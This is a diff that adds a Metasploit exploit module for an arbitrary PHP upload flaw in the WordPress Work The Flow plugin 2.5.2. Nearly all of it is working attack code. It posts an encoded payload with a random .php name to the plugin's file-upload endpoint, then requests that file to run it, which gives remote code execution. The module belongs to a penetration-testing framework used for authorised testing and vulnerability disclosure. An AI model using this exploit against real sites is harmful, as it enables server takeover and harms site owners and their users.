|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::HTTP::Wordpress |
| 12 | + include Msf::Exploit::FileDropper |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Wordpress Work The Flow Upload Vulnerability', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits an arbitrary PHP code upload in the WordPress Work The Flow plugin, |
| 19 | + version 2.5.2. The vulnerability allows for arbitrary file upload and remote code execution. |
| 20 | + }, |
| 21 | + 'Author' => |
| 22 | + [ |
| 23 | + 'Claudio Viviani', # Vulnerability discovery |
| 24 | + 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module |
| 25 | + ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'References' => |
| 28 | + [ |
| 29 | + ['WPVDB', '7883'], |
| 30 | + ['EDB', '36640'], |
| 31 | + ['URL', 'http://packetstormsecurity.com/files/131294/WordPress-Work-The-Flow-2.5.2-Shell-Upload.html'] |
| 32 | + ], |
| 33 | + 'Privileged' => false, |
| 34 | + 'Platform' => 'php', |
| 35 | + 'Arch' => ARCH_PHP, |
| 36 | + 'Targets' => [['Work The Flow 2.5.2', {}]], |
| 37 | + 'DisclosureDate' => 'Mar 14 2015', |
| 38 | + 'DefaultTarget' => 0) |
| 39 | + ) |
| 40 | + end |
| 41 | + |
| 42 | + def check |
| 43 | + check_plugin_version_from_readme('work-the-flow-file-upload', '2.5.2') |
| 44 | + end |
| 45 | + |
| 46 | + def exploit |
| 47 | + php_pagename = rand_text_alpha(8 + rand(8)) + '.php' |
| 48 | + |
| 49 | + data = Rex::MIME::Message.new |
| 50 | + data.add_part('upload', nil, nil, 'form-data; name="action"') |
| 51 | + data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"files\"; filename=\"#{php_pagename}\"") |
| 52 | + post_data = data.to_s |
| 53 | + |
| 54 | + res = send_request_cgi({ |
| 55 | + 'uri' => normalize_uri(wordpress_url_plugins, 'work-the-flow-file-upload', 'public', 'assets', |
| 56 | + 'jQuery-File-Upload-9.5.0', 'server', 'php', 'index.php'), |
| 57 | + 'method' => 'POST', |
| 58 | + 'ctype' => "multipart/form-data; boundary=#{data.bound}", |
| 59 | + 'data' => post_data |
| 60 | + }) |
| 61 | + |
| 62 | + if res |
| 63 | + if res.code == 200 |
| 64 | + print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...") |
| 65 | + register_files_for_cleanup(php_pagename) |
| 66 | + else |
| 67 | + fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}") |
| 68 | + end |
| 69 | + else |
| 70 | + fail_with('ERROR') |
| 71 | + end |
| 72 | + |
| 73 | + print_status("#{peer} - Calling payload...") |
| 74 | + send_request_cgi( |
| 75 | + 'uri' => normalize_uri(wordpress_url_plugins, 'work-the-flow-file-upload', 'public', 'assets', |
| 76 | + 'jQuery-File-Upload-9.5.0', 'server', 'php', 'files', php_pagename) |
| 77 | + ) |
| 78 | + end |
| 79 | +end |
0 commit comments